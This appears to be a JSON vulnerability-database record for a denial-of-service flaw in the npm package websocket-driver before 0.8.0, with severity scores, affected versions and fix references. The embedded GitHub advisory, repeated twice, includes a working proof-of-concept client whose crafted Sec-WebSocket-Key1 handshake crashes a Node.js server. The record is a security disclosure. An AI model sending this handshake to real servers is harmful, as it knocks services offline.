{"id":"CVE-2026-140003","aliases":["AZL-117508","AZL-117644","CLSA-2026-1796199359","CLSA-2026-1796206185","DEBIAN-CVE-2026-140003","DHI-hrij-zfjk-bz47-i4gt","EUVD-2026-139726","GHSA-c4gv-fww2-jp3r"],"status":"published","title":"websocket-driver: Denial of service triggered by malformed Sec-WebSocket-Key1 header","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, the draft76 handshake parser derives integers from Sec-WebSocket-Key1 and Sec-WebSocket-Key2 by extracting digits and dividing by the number of spaces, then writes the results as unsigned 32-bit values. An unauthenticated remote client can supply a key whose derived value exceeds 32 bits, causing a Buffer range exception that crashes the process on Node.js v22 and below. This issue is fixed in version 0.8.0.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-12-04","score":0.00621,"percentile":0.51221,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true,"poc_reported":true},"cwes":["CWE-248"],"published":"2026-11-30T21:26:36Z","modified":"2026-12-04T20:45:22Z","exploits":[{"source":"pocgithub","id":"googlesky/CVE-2026-140003","title":"googlesky/CVE-2026-140003","date":"2026-12-02","url":"https://github.com/googlesky/CVE-2026-140003"}],"fixes":[{"ecosystem":"npm","package":"websocket-driver","fixed_in":["0.8.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"websocket-driver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.8.0"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"js-jquery","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.5.0-4"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"python-tensorboard","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.16.2-6"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"websocket-driver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.7.5-tuxcare.0"},{"fixed":"0.7.5-tuxcare.3"}]}],"versions":["0.7.5","0.7.5-tuxcare.1","0.7.5-tuxcare.2"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:npm","package":"websocket-driver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.7.4-tuxcare.0"},{"fixed":"0.7.4-tuxcare.3"}]}],"versions":["0.7.4","0.7.4-tuxcare.1","0.7.4-tuxcare.2"],"bundled":5},{"source":"osv","ecosystem":"Debian:12","package":"node-websocket-driver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.7.4+~cs0.6.14-1","0.7.4+~cs0.6.7-2","0.7.5+~cs0.6.14-1"]},{"source":"osv","ecosystem":"Debian:13","package":"node-websocket-driver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.7.4+~cs0.6.14-1","0.7.4+~cs0.6.7-2","0.7.5+~cs0.6.14-1"]},{"source":"osv","ecosystem":"Debian:14","package":"node-websocket-driver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.7.4+~cs0.6.14-1","0.7.4+~cs0.6.7-2","0.7.5+~cs0.6.14-1"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.23","package":"librechat-0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.8.8-r0"}]}],"versions":["0.8.8-r0","0.8.8-r1","0.8.8-r2","0.8.8-r3","0.8.8-r4","0.8.8-r5","0.8.8-r6","0.8.9-r0","0.8.9-r1","0.8.9-r2","0.8.9-r3"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.24","package":"librechat-0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.8.8-r0"}]}],"versions":["0.8.8-r0","0.8.8-r1","0.8.8-r2","0.8.8-r3","0.8.8-r4","0.8.8-r5","0.8.8-r6","0.8.9-r0","0.8.9-r1","0.8.9-r2","0.8.9-r3"]},{"source":"osv","ecosystem":"Docker Hardened Images:Debian:13","package":"librechat-0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.8.8-0"}]}],"versions":["0.8.8-0","0.8.8-1","0.8.8-2","0.8.8-3","0.8.8-4","0.8.8-5","0.8.9-0","0.8.9-1","0.8.9-2","0.8.9-3","0.8.9-4"]},{"source":"osv","ecosystem":"npm","package":"websocket-driver","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.8.0"}]}]}],"products":[{"vendor":"faye","product":"websocket-driver-node"}],"references":[{"url":"https://github.com/faye/websocket-driver-node/security/advisories/GHSA-c4gv-fww2-jp3r","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/faye/websocket-driver-node/commit/851117d21fa8eb98f22856b5600e0688c5337214","tags":["x_refsource_MISC","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-140003","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-c4gv-fww2-jp3r","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/140xxx/CVE-2026-140003.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-140003","tags":["advisory"]},{"url":"https://scout.docker.com/v/DHI-hrij-zfjk-bz47-i4gt","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-140003","tags":["advisory"]},{"url":"http://people.ubuntu.com/~ubuntu-security/cve/CVE-2026-140003","tags":["advisory"]},{"url":"https://github.com/faye/websocket-driver-node","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-140003","title":"websocket-driver: Denial of service triggered by malformed Sec-WebSocket-Key1 header","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, the draft76 handshake parser derives integers from Sec-WebSocket-Key1 and Sec-WebSocket-Key2 by extracting digits and dividing by the number of spaces, then writes the results as unsigned 32-bit values. An unauthenticated remote client can supply a key whose derived value exceeds 32 bits, causing a Buffer range exception that crashes the process on Node.js v22 and below. This issue is fixed in version 0.8.0.","status":"published","published":"2026-11-30T21:26:36.93Z","modified":"2026-12-03T15:46:45.926Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-248"],"ssvc":{"exploitation":"poc","automatable":"yes","technical_impact":"partial","date":"2026-12-03"},"updated_at":"2026-12-03T15:57:38.610411Z"}],"euvd":[{"id":"EUVD-2026-139726","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, the draft76 handshake parser derives integers from Sec-WebSocket-Key1 and Sec-WebSocket-Key2 by extracting digits and dividing by the number of spaces, then writes the results as unsigned 32-bit values. An unauthenticated remote client can supply a key whose derived value exceeds 32 bits, causing a Buffer range exception that crashes the process on Node.js v22 and below. This issue is fixed in version 0.8.0.","status":"published","published":"2026-11-30T21:26:36Z","modified":"2026-12-03T15:46:45Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-12-03T17:33:08.211585Z"}],"ghsa":[{"id":"GHSA-c4gv-fww2-jp3r","title":"websocket-driver: Denial of service triggered by malformed Sec-WebSocket-Key1 header","description":"### Summary\n\nAn unauthenticated remote client can trigger an instant crash and denial of service by sending a WebSocket draft76 handshake with specially crafted headers.\n\n### Details\n\nThe `websocket-driver` library supports earlier versions of the WebSocket protocol from before the RFC was standardised, particularly the `draft75` and `draft76` versions. The `draft76` version's handshake involves the client sending two headers named `Sec-WebSocket-Key1` and `Sec-WebSocket-Key2`. A value is derived from each of these by extracting digits from them and dividing this value by the number of spaces in the header string. The derived values are each written into a buffer which is then hashed, and this process expects the values to fit inside 32 bits.\n\nIf the values are larger than 32 bits, this triggers an exception in Node's `Buffer` module and this causes the process to crash.\n\nTo mitigate this, the driver has been fixed to reject values that are too large, and support for draft protocol versions has been disabled by default. Servers wanting to continue to support these versions need to pass the option `allowDrafts: true` when creating a driver instance.\n\n### Proof of concept\n\nGiven a server using `websocket-driver` to handle WebSocket connections:\n\n```js\nconst net = require('net')\nconst ws = require('websocket-driver')\n\nlet server = net.createServer((conn) =\u003e {\n  let driver = ws.server()\n\n  driver.on('connect', () =\u003e {\n    if (ws.isWebSocket(driver)) driver.start()\n  })\n\n  driver.on('close', () =\u003e conn.end())\n  conn.pipe(driver.io).pipe(conn)\n})\n\nserver.listen(8000)\n```\n\nA client can connect and send a set of headers that will pass as a draft76 handshake, with a specially constructed `Sec-WebSocket-Key1` header:\n\n```js\nconst net = require('net')\n\nlet tcp = net.connect(8000, '127.0.0.1')\n\ntcp.on('connect', () =\u003e {\n  tcp.write([\n    'GET / HTTP/1.1',\n    'Host: 127.0.0.1:8000',\n    'Connection: upgrade',\n    'Upgrade: websocket',\n    'Sec-WebSocket-Key1: 858 993 4592',\n    'Sec-WebSocket-Key2: 1 1',\n    '',\n    '12345678'\n  ].join('\\r\\n'))\n})\n```\n\nThis will cause the server to crash on Node.js v22 and below.\n\n### Impact\n\nAn unauthenticated remote attacker can crash any Node.js process that accepts WebSocket upgrades through by sending a single HTTP request with a draft76 `Sec-WebSocket-Key1` header whose derived value exceeds 32 bits in size.","status":"published","published":"2026-12-01T18:23:50Z","modified":"2026-12-01T18:23:50Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-248"],"updated_at":"2026-12-01T18:30:26.63192Z"}],"nvd":[{"id":"CVE-2026-140003","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, the draft76 handshake parser derives integers from Sec-WebSocket-Key1 and Sec-WebSocket-Key2 by extracting digits and dividing by the number of spaces, then writes the results as unsigned 32-bit values. An unauthenticated remote client can supply a key whose derived value exceeds 32 bits, causing a Buffer range exception that crashes the process on Node.js v22 and below. This issue is fixed in version 0.8.0.","status":"published","published":"2026-11-30T22:17:29.83Z","modified":"2026-12-04T15:47:41.367Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-248"],"ssvc":{"exploitation":"poc","automatable":"yes","technical_impact":"partial","date":"2026-12-03"},"updated_at":"2026-12-03T16:38:14.479295Z"}],"osv":[{"id":"CVE-2026-140003","title":"websocket-driver: Denial of service triggered by malformed Sec-WebSocket-Key1 header","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, the draft76 handshake parser derives integers from Sec-WebSocket-Key1 and Sec-WebSocket-Key2 by extracting digits and dividing by the number of spaces, then writes the results as unsigned 32-bit values. An unauthenticated remote client can supply a key whose derived value exceeds 32 bits, causing a Buffer range exception that crashes the process on Node.js v22 and below. This issue is fixed in version 0.8.0.","status":"published","published":"2026-11-30T21:26:36.93Z","modified":"2026-12-04T20:45:22.285185668Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-248"],"updated_at":"2026-12-01T21:10:07.386688Z"},{"id":"DEBIAN-CVE-2026-140003","upstream":["CVE-2026-140003"],"description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, the draft76 handshake parser derives integers from Sec-WebSocket-Key1 and Sec-WebSocket-Key2 by extracting digits and dividing by the number of spaces, then writes the results as unsigned 32-bit values. An unauthenticated remote client can supply a key whose derived value exceeds 32 bits, causing a Buffer range exception that crashes the process on Node.js v22 and below. This issue is fixed in version 0.8.0.","status":"published","published":"2026-11-30T22:17:29.83Z","modified":"2026-12-04T09:47:41.806552674Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-12-03T08:14:48.000137Z"},{"id":"DHI-hrij-zfjk-bz47-i4gt","upstream":["CVE-2026-140003"],"title":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, the draft76 handshake…","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, the draft76 handshake parser derives integers from Sec-WebSocket-Key1 and Sec-WebSocket-Key2 by extracting digits and dividing by the number of spaces, then writes the results as unsigned 32-bit values. An unauthenticated remote client can supply a key whose derived value exceeds 32 bits, causing a Buffer range exception that crashes the process on Node.js v22 and below. This issue is fixed in version 0.8.0.","status":"published","published":"2026-12-01T21:53:49Z","modified":"2026-12-04T07:45:03.325201143Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-12-04T08:03:07.316311Z"},{"id":"GHSA-c4gv-fww2-jp3r","title":"websocket-driver: Denial of service triggered by malformed Sec-WebSocket-Key1 header","description":"### Summary\n\nAn unauthenticated remote client can trigger an instant crash and denial of service by sending a WebSocket draft76 handshake with specially crafted headers.\n\n### Details\n\nThe `websocket-driver` library supports earlier versions of the WebSocket protocol from before the RFC was standardised, particularly the `draft75` and `draft76` versions. The `draft76` version's handshake involves the client sending two headers named `Sec-WebSocket-Key1` and `Sec-WebSocket-Key2`. A value is derived from each of these by extracting digits from them and dividing this value by the number of spaces in the header string. The derived values are each written into a buffer which is then hashed, and this process expects the values to fit inside 32 bits.\n\nIf the values are larger than 32 bits, this triggers an exception in Node's `Buffer` module and this causes the process to crash.\n\nTo mitigate this, the driver has been fixed to reject values that are too large, and support for draft protocol versions has been disabled by default. Servers wanting to continue to support these versions need to pass the option `allowDrafts: true` when creating a driver instance.\n\n### Proof of concept\n\nGiven a server using `websocket-driver` to handle WebSocket connections:\n\n```js\nconst net = require('net')\nconst ws = require('websocket-driver')\n\nlet server = net.createServer((conn) =\u003e {\n  let driver = ws.server()\n\n  driver.on('connect', () =\u003e {\n    if (ws.isWebSocket(driver)) driver.start()\n  })\n\n  driver.on('close', () =\u003e conn.end())\n  conn.pipe(driver.io).pipe(conn)\n})\n\nserver.listen(8000)\n```\n\nA client can connect and send a set of headers that will pass as a draft76 handshake, with a specially constructed `Sec-WebSocket-Key1` header:\n\n```js\nconst net = require('net')\n\nlet tcp = net.connect(8000, '127.0.0.1')\n\ntcp.on('connect', () =\u003e {\n  tcp.write([\n    'GET / HTTP/1.1',\n    'Host: 127.0.0.1:8000',\n    'Connection: upgrade',\n    'Upgrade: websocket',\n    'Sec-WebSocket-Key1: 858 993 4592',\n    'Sec-WebSocket-Key2: 1 1',\n    '',\n    '12345678'\n  ].join('\\r\\n'))\n})\n```\n\nThis will cause the server to crash on Node.js v22 and below.\n\n### Impact\n\nAn unauthenticated remote attacker can crash any Node.js process that accepts WebSocket upgrades through by sending a single HTTP request with a draft76 `Sec-WebSocket-Key1` header whose derived value exceeds 32 bits in size.","status":"published","published":"2026-12-01T18:23:50Z","modified":"2026-12-01T18:30:04.107735767Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-248"],"updated_at":"2026-12-01T18:33:54.097771Z"},{"id":"AZL-117508","upstream":["CVE-2026-140003"],"title":"CVE-2026-140003 affecting package js-jquery 3.5.0-4","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, the draft76 handshake parser derives integers from Sec-WebSocket-Key1 and Sec-WebSocket-Key2 by extracting digits and dividing by the number of spaces, then writes the results as unsigned 32-bit values. An unauthenticated remote client can supply a key whose derived value exceeds 32 bits, causing a Buffer range exception that crashes the process on Node.js v22 and below. This issue is fixed in version 0.8.0.","status":"published","published":"2026-11-30T22:17:29Z","modified":"2026-12-03T14:17:29.975687195Z","updated_at":"2026-12-03T14:59:42.219217Z"},{"id":"AZL-117644","upstream":["CVE-2026-140003"],"title":"CVE-2026-140003 affecting package python-tensorboard 2.16.2-6","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, the draft76 handshake parser derives integers from Sec-WebSocket-Key1 and Sec-WebSocket-Key2 by extracting digits and dividing by the number of spaces, then writes the results as unsigned 32-bit values. An unauthenticated remote client can supply a key whose derived value exceeds 32 bits, causing a Buffer range exception that crashes the process on Node.js v22 and below. This issue is fixed in version 0.8.0.","status":"published","published":"2026-11-30T22:17:29Z","modified":"2026-12-03T14:17:43.549399522Z","updated_at":"2026-12-03T14:59:42.219217Z"},{"id":"CLSA-2026-1796199359","upstream":["CVE-2026-140001","CVE-2026-140002","CVE-2026-140003","CVE-2026-140004","CVE-2026-140005"],"title":"TuxCare security update for websocket-driver (5 CVEs)","description":"TuxCare rebuilt websocket-driver to address 5 CVEs. Fixed in 0.7.5-tuxcare.3.","status":"published","published":"2026-12-02T09:16:00Z","modified":"2026-12-04T08:15:19.204575687Z","updated_at":"2026-12-04T08:34:17.918856Z"},{"id":"CLSA-2026-1796206185","upstream":["CVE-2026-140001","CVE-2026-140002","CVE-2026-140003","CVE-2026-140004","CVE-2026-140005"],"title":"TuxCare security update for websocket-driver (5 CVEs)","description":"TuxCare rebuilt websocket-driver to address 5 CVEs. Fixed in 0.7.4-tuxcare.3.","status":"published","published":"2026-12-02T11:09:46Z","modified":"2026-12-04T16:30:11.574875224Z","updated_at":"2026-12-04T16:47:54.354282Z"}]}}
